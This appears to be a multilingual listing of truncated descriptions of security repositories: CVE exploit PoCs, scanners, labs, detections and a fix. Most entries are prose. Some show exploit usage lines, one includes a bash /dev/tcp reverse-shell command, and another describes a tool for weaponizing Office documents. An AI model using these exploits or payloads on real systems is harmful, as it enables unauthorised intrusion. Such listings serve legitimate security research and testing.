ApacheRCEEssay

CVE-2021-41773 Saggio 🕸️ Descrizione 🖼️ Questo repository contiene un saggio su CVE-2021-41773, una vulnerabilità di esecuzione di codice remoto in Apache 2.4.49. È stato creato per un corso della Facoltà di Automatica e Calcolatori, Università POLITEHNICA di Bucarest, denominato "Cyberdefences and...

cve-2025-24893-poc

CVE-2025-24893 — XWiki Unauthenticated RCE PoC Proof-of-Concept-Exploit für CVE-2025-24893 , eine kritische Remote Code Execution -Schwachstelle ohne Authentifizierung in XWiki. Dieser Exploit missbraucht eine Groovy-Template-Injection im SolrSearch-Endpunkt, um ohne Authentifizierung beliebige...

Detections-CVE-2026-23918

MIGRAZIONE VERSO: https://github.com/insomnisec/publiccvedetections PER UNA MIGLIORE GESTIONE A LUNGO TERMINE DELLE PUBBLICAZIONI DI DETECTION QUESTO REPO VERRÀ RIMOSSO A GIUGNO 2026 PER FAVORE UTILIZZA L'ALTRO REPO D'ORA IN POI CVE-2026-23918 "Apache HTTP/2 Double-Free" — Pacchetto di Rilevament...

Router-Exploit-Shovel

Router Exploit Shovel Generazione automatica di applicazioni per tipi di stack overflow su router wireless Router exploits shovel è uno strumento di generazione automatica di applicazioni per i tipi di stack overflow su router wireless. Lo strumento implementa le funzioni chiave degli exploit, pu...

CVE-2025-55182-Lab

CVE-2025-55182 – Laboratorio RCE Locale React Server Components Questo repository è un piccolo laboratorio locale per capire come CVE-2025-55182 funziona in pratica su un'applicazione React Server Components / Next.js deliberatamente vulnerabile. È pensato esclusivamente per scopi educativi, di...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery Strumento automatico di massa per verificare la vulnerabilità CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh...

vBulletin-CVE-2025-48828-Multi-target

💥 Scanner per l'esecuzione remota di codice in vBulletin replaceAdTemplate Questo strumento Python automatizza il rilevamento di vulnerabilità di RCE non autenticata in vBulletin tramite il vettore di exploit replaceAdTemplate. Basato sul proof-of-concept originale di EgiX , questa versione...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Exploit RCE per Wing FTP Server Questo repository fornisce un proof-of-concept exploit per CVE-2025-47812 , una vulnerabilità di esecuzione remota di comandi RCE in Wing FTP Server. Un attaccante può iniettare ed eseguire comandi di sistema arbitrari basati su Lua abusando del...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de Exploração 🔥 Introdução Este repositório contém um script de exploração para a vulnerabilidade React2Shell CVE-2025–55182, que ataca um tipo específico de Poluição de Protótipo Prototype Pollution em Node.js levando à Execução Remota de Código RCE. O scrip...

CVE-2026-16601

The CM Map Locations – Visualize and share your locations in a few clicks plugin for WordPress is vulnerable to Limited Arbitrary File Upload in all versions up to, and including, 2.1.8 via the uploadMedia function. This is due to insufficient file type validation in the upload handler, which...

doctrack

Doctrack Tool to manipulate and weaponize Office Open XML documents. Features Create Office Open XML documents Word, Excel Insert tracking pixels and UNC paths Remote Template injection Insert CustomXML parts Inspect external target URLs, metadata and Custom XML parts Installation You will need t...

CVE-2024-3408-dtale

CVE-2024-3408 - Bypass dell'autenticazione e RCE in D-Tale Ambiente di laboratorio riproducibile per CVE-2024-3408, una vulnerabilità di bypass dell'autenticazione ed esecuzione remota di codice in D-Tale. Vulnerabilità Le versioni di D-Tale fino alla 3.15.1 sono vulnerabili a causa di: 1...

CVE-2020-23586

CVE-2020-23586 OPTILINK E-PON "N. MODELLO: OP-XT71000N" con "VERSIONE HARDWARE: V2.2" e "VERSIONE FIRMWARE: OPV3.3.1-191028" vulnerabilità riscontrata in "OPTILINK OP-XT71000N Versione Hardware: V2.2, Versione Firmware: OPV3.3.1-191028" che consente a un attaccante remoto non autenticato di...

CVE-2020-23583

CVE-2020-23583 OPTILINK E-PON "MODELLO N.: OP-XT71000N" CON "VERSIONE HARDWARE: V2.2"; E "VERSIONE FIRMWARE: OPV3.3.1-191028" ESECUZIONE REMOTA DI CODICE trovata in "OPTILINK OP-XT71000N". Il problema si verifica quando l'attaccante invia un codice arbitrario su "/diagpingadmin.asp" all'interfacc...

CVE-2021-3129

CVE-2021-3129 Laravel Debug-Modus - Remote-Code-Ausführung RCE https://vulners.com/cve/CVE-2021-3129 https://www.ambionics.io/blog/laravel-debug-rce https://github.com/ambionics/phpggc Beispiel root@kitploit: python3 exploit.py http://127.0.0.1:8080 root@kitploit: python3 exploit.py...

CVE-2009-4623

Advanced Comment System 1.0 - Execução Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Exemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2020-10199-Nexus-3.21.01

CVE-2020-10199-Nexus-3.21.01 Sonatype Nexus 3.21.01 - Execução Remota de Código Autenticado - Atualizado Esta versão é baseada no exploit 49385 de Alvaro Muñoz e no exploit do metasploit para nexus https://www.exploit-db.com/exploits/49385 Altere o user, password, URL e CMD...

pyrocms-ssti-fix

🛡️ إصلاح ثغرة SSTI في PyroCMS إصلاح أمني فوري لـ CVE-2023-29689 - حقن القوالب من جانب الخادم SSTI يؤدي إلى تنفيذ الأوامر عن بعد RCE في PyroCMS 3.9. المشكلة يسمح PyroCMS للمستخدمين الإداريين بتحرير القوالب المخزنة في قاعدة البيانات. بدون آلية عزل Sandboxing، يمكن للمهاجمين الذين لديهم صلاحيات...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity prima della versione 2023.05.4 è vulnerabile a un bypass dell'autenticazione che porta a RCE Utilizzo Per ottenere una reverse shell root@kitploit: python3 exploit.py Riferimenti https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem...

CVE-2018-1207-better

Exploit PoC für CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell Dieses Repository enthält ein Proof-of-Concept-Python-Skript, um einen Exploit für Remotecodeausführung in iDRAC7- und iDRAC8-Geräten mit Firmware-Versionen 2.52.52.52 und darunter zu demonstrieren. Dieser Exploit ermöglicht es...